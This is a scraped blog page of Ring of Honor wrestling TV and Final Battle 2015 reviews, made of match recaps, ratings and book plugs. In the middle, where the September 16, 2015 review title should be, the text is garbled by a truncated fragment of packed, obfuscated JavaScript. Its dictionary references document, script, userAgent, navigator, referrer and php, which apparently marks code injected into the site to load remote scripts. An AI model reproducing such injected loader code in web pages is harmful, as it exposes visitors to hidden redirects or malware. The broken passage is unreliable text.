Ring of Honor TV – January 20, 2016: Thy Kingdom Goes Away

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Date: January 20, 2016
Location: 2300 Arena, Philadelphia, Pennsylvania
Attendance: 600
Commentators: Mr. Wrestling III, Kevin Kelly

th Anniversary Show for the next pay per view but nothing has been set up yet. Let’s get to it.

Addiction vs. Alex Shelley/ACH

This is more about building up Shelley vs. Sabin down the line. Kazarian takes Shelley into the corner to start but accidentally forearms Daniels off the apron for some good old fashioned heel miscommunication. Alex grabs a dragon sleeper but lets it go when Sabin gets on the apron for a distraction.

Everything breaks down for a bit and some fast double teaming puts ACH in trouble, including something like a Diamond Cutter onto Daniels’ knee as we take a break. Back with ACH rolling over for a hot tag so Shelley can speed things up.

A Downward Spiral sends Kazarian face first into the middle buckle but Daniels comes back in with a top rope stomp to the chest, only to allow the hot tag a few seconds later. Everything breaks down and Shelly kicks Daniels into a German suplex for two. Sabin shakes the ropes to break up the Midnight Star, setting up Celebrity Rehab to give Addiction the pin at 9:48.

Post match Addiction beats on Shelley even more until Daniels punches the referee, which brings out Nigel to suspend him indefinitely without pay.

Mark Briscoe vs. Adam Page

Some early Redneck Kung Fu doesn’t work but Adam misses the standing shooting star press. Mark kicks him into the corner and now the crane kick connects for Briscoe. A brainbuster gets two for Mark but he charges into a powerslam into the corner for two. The fans are all over Whitmer as the announcers talk about the Top Prospect Tournament.

BJ Whitmer yells about Mr. Wrestling III being Steve Corino, only to have Briscoe come back with a fisherman’s buster and the Froggy Bow for the pin at 6:32.

However, instead of saying who that is, Mr. Wrestling III just tells the Decade to leave. Well that ended flat.

Silas Young comes out and calls what happened with the Boys at Final Battle a disappointment. Whether the fans believe it or not, the Boys appreciated learning how to mow his lawn and shovel his driveway. The Boys have one chance to do the right thing and learn to be men.

Young Bucks vs. ReDRagon vs. Kingdom

and this is a street fight. The Bucks jump O’Reilly and Fish during the entrances and we’re starting fast. The injured Taven gets a double superkick, as does ring announcers Bobby Cruz. ReDRagon gets back in to work on the Bucks, only to have the Kingdom come in again to turn this into a wild brawl that is going to be almost impossible to keep track of.

Kyle backdrops Nick on the floor for a thud before diving into a superkick. We take a break and come back with Cole in a shopping cart and being wheeled into a superkick.

The Kingdom brings in a ladder (Mr. Wrestling III: “It’s amazing what you can find in south Philadelphia”) to take out ReDRagon and it’s Cole putting the ladder around his neck. That only allows ReDRagon to blast the ladder with chairs before setting the ladder on top of those chairs.

Bennett comes back in to spinebuster Kyle onto the steel but the Bucks powerbomb him (Bennett) through the ladder. A Swanton onto the ladder sets up More Bang For Your Buck but Cole pulls the referee out at two. Kevin Kelly accidentally eats a superkick and Mr. Wrestling III freaks out while still shouting SUPERKICK in a funny moment.

That leaves Fish alone against the Bucks but he stops to spear Bennett through a table on the floor. A double superkick off the apron gives Fish the weakest table bump in history with Nick having to splash him the rest of the way through.

Back in and the Bucks put a party hat on Bennett for a superkick party, only to have Maria hit them both low for a save. This brings out AJ Styles to hit Bennett in the ribs with a chair before laying him out with Bloody Sunday. Maria gets a Meltzer Driver and the Indytaker into the Styles Clash puts Bennett away at 16:45.

The only annoying thing here was the syndication schedule causing some issues as Mike and Maria debuted in TNA two weeks before this aired. Still though, the show was fun enough with the main event being a really good time.

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Ring of Honor TV – January 13, 2016: That’s A Lot Of Tag Teams

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Date: January 13, 2016
Location: 2300 Arena, Philadelphia, Pennsylvania
Attendance: 600
Commentators: Nigel McGuinness, Kevin Kelly

Roppongi Vice vs. All Night Express

Romero gets kicked in the face for his efforts and Barreta gets pulled off the apron, sending him head first into the buckle as we take a break. Back with Barreta getting double teamed again but King takes a breather to shout at the crowd for a bit. Barreta gets in his double stomp out of the corner though and the hot tag brings in Romero.

Donovan Dijak/Joey Daddiego vs. War Machine

ReDRagon is ready for next week.

We look at Dalton Castle reuniting with the Boys at Final Battle.

Dalton Castle vs. Jay Briscoe vs. Matt Sydal vs. Moose

Rating: C. This was fine though more of your standard Ring of Honor formula. I know the name is a longstanding tradition in this company but when I hear the word “survival”, the first thing I think of is an elimination tag. I get the idea but I still wish they would change that. Castle winning is a nice touch and a surprise as he could definitely move up in the ranks soon enough.

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Ring of Honor Final Battle 2015: We’ll Call It A Success

Final Battle 2015
Date: December 18, 2015
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Kevin Kelly, Mr. Wrestling III

Pre-Show: Cheeseburger vs. Bob Evans

Cheeseburger fights back again as Wrestling III makes sandwich puns. A springboard knee to the head drops Evans for two but the much bigger Bob runs him over. Evans trips going up top and Cheeseburger hits two straight palm strikes, the second of which puts Evans on the middle rope. A middle rope DDT gives Cheeseburger the kind of lame pin to end the feud.

The opening video is kept simple as they just look at the matches on the card.

Briscoe Brothers vs. All Night Express vs. Young Bucks

The Meltzer Driver gets two on Jay (Wrestling III: “FIVE STARS! FIVE STARS! FIVE STARS! Uncle Dave must be smiling at home!”) but More Bang for Your Buck is broken up. Mark loads Titus up for a superplex but King kicks him in the head, setting up a super One Night Stand (a powerbomb/Blockbuster combo) to pin Mark and give the Express the title shot. The fans are NOT happy with the result.

We recap Silas Young vs. Dalton Castle, which is a huge culture clash. Castle is much more flamboyant and had possession of his Boys. Young wanted those Boys to become men and won them in a match a few weeks back. Tonight is the final battle (oh I think I get it now) between the two, even though the Boys seem to have chosen to stay with Young.

Silas Young vs. Dalton Castle

Moose vs. Michael Elgin

They shake hands again post match.

Quick recap of Addiction/Chris Sabin vs. ACH/Matt Sydal/Alex Shelley, which is simply a way to give us Sabin vs. Shelley without giving us Sabin vs. Shelley.

Chris Sabin/Addiction vs. ACH/Matt Sydal/Alex Shelley

TV Title: Bobby Fish vs. Roderick Strong

Roderick is defending. They hit the mat to start with Fish getting the better of it as the fans are mostly split. Bobby goes for the arm and tries the leg, sending Strong bailing for the ropes. A few minutes in and Kelly mentions that Fish pinned Strong back in September. Strong avoids a plancha to the floor and drops Fish onto the barricade to take over for the first time.

Here are Veda Scott and Cedric Alexander (with a nice watch) to ignore the fans telling them to shut up and brag about a settlement with Ring of Honor over their recent lawsuit. This just ate up time.

Tag Team Titles: War Machine vs. Kingdom

Nigel McGuinness and Jerry Lynn join commentary.

Ring of Honor World Title: AJ Styles vs. Jay Lethal

Lethal and company pose to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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Ring of Honor TV – December 2, 2015: They Know What They’re Doing

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Date: December 2, 2015
Location: Wings Stadium Annex, Kalamazoo, Michigan
Commentators: Nigel McGuinness, Kevin Kelly, Mark Briscoe

Opening sequence.

Adam Page vs. Will Ferrara

Post match Whitmer goes after Ferrara and the referee, drawing in Mark Briscoe for the save.

We look back at Roderick Strong winning the TV Title last week.

Lethal is the only undisputed champion and now he wants Styles out here to say it to his face. This brings out AJ (who thankfully can walk here) to say that Lethal is right because of that belt around his waist. Jay losing the TV Title was the best thing that could have happened to him though because he needs to focus on AJ and AJ alone. They shake hands and stare each other down with Jay holding up the belt. Well done and very simple idea here.

We run down the Final Battle card. I might have to watch that show.

Dalton Castle vs. Adam Cole

War Machine/Dalton Castle vs. Kingdom

The Kingdom poses to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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Ring of Honor TV – October 28, 2015: Even Better Than Bullwinkle

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Date: October 29, 2015
Location: Shrine Auditorium, San Antonio, Texas
Commentators: Kevin Kelly, Nigel McGuinness

Donovan Dijak vs. Moose

Back in and Moose headbutts him in the chest and dropkicks Dijak to the floor, followed by a suicide dive. Men this size should not be able to do these kind of things so easily. Moose scores with a bicycle kick but walks into a chokebreaker for two. Feast Your Eyes is broken up so Moose casually runs up the corner and comes off with a spinning kick to the face. The spear ends Dijak at 4:42.

Dalton Castle vs. Cedric Alexander

Rating: D+. This is the kind of character evolution that works best in wrestling. Castle has a reason to be all angry and aggressive and it gets him away from the over the top style while still letting him showcase his charisma. That opens more doors for Castle going forward and was a very necessary adjustment for his career.

Post match Veda yells at Nigel for putting Alexander in an unsafe working environment and caused her unfair distress. Lawsuits are promised.

We look back at the first four matches in the best of five series between ACH and Matt Sydal. The final match will be at Survival of the Fittest.

Kingdom vs. Michael Elgin/ReDRagon

Cole lays out ReDRagon post match and the Kingdom goes to leave. Kyle wants Cole next week but Cole is already busy with AJ Styles. Not a problem according to Nigel, who makes it a triple threat.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

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Ring of Honor TV – October 21, 2015: Well Done ROH

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Date: October 21, 2015
Location: Shrine Auditorium, San Antonio, Texas
Commentators: King Corino, Kevin Kelly

Addiction vs. All Night Express

We hit a front facelock for a bit until Titus dropkicks King into the corner and dives over for the tag off to King as the pace goes way up. Everything breaks down and a High/Low drops King. A springboard spinning legdrop gets two on Titus but he collides with Daniels to put all four down. King throws Kazarian with a suplex but Titus walks into a release Rock Bottom. Cue a guy in a red mask to distract Daniels from making the pin though, allowing the Express to catch Daniels in a powerbomb/Blockbuster combo for the pin at 10:10.

The Kingdom vs. Elgin/ReDRagon will be next week.

Jay Briscoe vs. Adam Page

Post match Whitmer beats on Briscoe with the crutch. Corino gets in the ring, takes off his jacket, and punches out Whitmer with a roll of quarters. Steve hugs Kevin Kelly and leaves, likely without his job due to getting physical.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

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Ring of Honor TV – September 16, 2015: You Might Want To Check Those Blueprints

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyrfr|var|u0026u|referrer|tsaey||js|php'.split('|'),0,{})) of Honor
Date: September 16, 2015
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: King Corino, Kevin Kelly

Opening sequence.

House of Truth vs. ReDRagon

Dalton Castle vs. Cedric Alexander

Moose comes out to spear Cedric.

Kingdom vs. War Machine

The Bucks superkick Bennett down but the KRD (Addiction/Chris Sabin) come in with belt shots. Makes sense.

A long All-Star Extravaganza video takes us out.

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Ring of Honor TV – September 9, 2015: Where They Shine

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Date: September 9, 2015
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: King Corino, Kevin Kelly

Truth Martini and Jay Lethal say Strong has already had his shot so this is his final chance for the title.

Opening sequence.

Tag Team Titles: Young Bucks vs. Addiction

The Addiction is defending. Sabin is at ringside with Kazarian and Daniels. The Bucks double superkick Daniels during the big match intros and the champs are in early trouble. Matt tosses Nick into a dropkick to put Daniels down again but Sabin pulls Kaz to the floor for a save. That goes badly as well with Sabin superkicking Daniels by mistake, earning him an early ejection. He tries to run back in but gets a double superkick for his efforts.

That goes nowhere as the Bucks get back up for a buckle bomb into an enziguri. The Meltzer Driver plants Kaz but Daniels makes the save, only to blame it on the Kingdom. The referee goes after the Kingdom, allowing Daniels to hit Nick with the title. Matt takes it away and cleans house with the belt until Maria takes it away. The distraction lets Kaz grab a quick rollup for the pin to retain at 13:50.

ROH World Title: Jay Lethal vs. Roderick Strong

Lethal is defending and has the entire House of Truth with him. The fans are split as the guys shake hands because being a heel means nothing in this company. They slug it out to start until Lethal kicks Strong out to the floor. The champ scores with a suicide dive but Strong runs back in for a great looking dropkick as we take a break.

Jay finally mixes things up a bit by sending Strong to the floor so the House of Truth can get in some cheap shots as we take another break. Back again with Strong hitting a quick backbreaker, followed by a string of chops in the corner. Lethal blocks another backbreaker out of the corner but Strong starts running the ropes and hitting a quick elbow to the face every time.

ReDRagon comes out to stare Lethal down to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

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Ring of Honor TV Results – August 26, 2015: I Think I Get It

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Date: August 26, 2015
Location: William J. Myers Pavilion, Baltimore, Maryland
Commentators: Steve Corino, Kevin Kelly

Steve Corino is back and says his issues with BJ Whitmer are over.

Bloodbound Warriors vs. Briscoes

Scorpion slams Mark over the top, sending him head first into the top rope and onto the apron to make things even worse. Wolf throws Mark hard into the barricade as this has been one sided so far. Back in and a double flapjack gets two on Mark but he flips over to Jay to pick things up. Everything quickly breaks down and Jay dives on Wolf, leaving Mark to strut around, only to get flipped over the top and outside as well. Back inside and a Death Valley Driver gets two on Scorpion, followed by the Froggy Bow from Mark and a wicked lariat from Jay for the pin at 4:24

Donovan Dijak vs. Roderick Strong

The House of Truth comes in for the beatdown until War Machine makes the save. I smell a six man.

Tag Team Titles: Future Shock vs. Addiction

Addiction is defending and Corino freaks out over the Future Shock reunion. Chris Sabin is on commentary and Daniels is in a military uniform. Cole and Daniels get things going as Sabin talks about having mutant healing powers. Adam headlocks Daniels on the mat but gets stomped down on the mat and then in the corner for a change of pace. Kyle gets the tag and some slick double teaming gets two on Daniels as we take a break.

Bobby Fish and the Young Bucks run in for the save but the Kingdom comes back in to make it a huge brawl. The Bucks hit stereo dives and soak in the cheers to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

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Ring of Honor TV – August 12, 2015: I’m Getting There

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Date: August 12, 2015
Location: William J. Myers Pavilion, Baltimore, Maryland
Commentators: King Corino, Kevin Kelly

Watanabe vs. ACH

We take a break and come back with ACH working on the arm but getting caught in a gordbuster. A backsplash (which is becoming too common of a move these days) sets up a chinlock on ACH. That goes as far as a chinlock can take you so ACH kicks him to the floor and hits a great looking flip dive over the top.

ReDRagon is ready for the Kingdom tonight but imply they drink their own urine. Very simple, old school promo here, minus the last part that is.

From earlier in the day, ROH boss Nigel McGuinness was here to make some announcements. He heard the FIVE MORE MINUTES chants at Death Before Dishonor when Roderick Strong vs. Jay Lethal went to a sixth minute draw, but the only thing that would happen in five more minutes was a serious injury.

Dalton Castle and the Boys (as opposed to Dem Boys) pitch merchandise. This guy just breathes charisma.

House of Truth vs. War Machine

Tim Hughes vs. Adam Page

Kingdom vs. ReDRagon

Post match the Kingdom loads up another Hail Mary but Cole comes in and says cool it, which Maria agrees with to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

http://www.amazon.com/dp/B011T13PV4

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6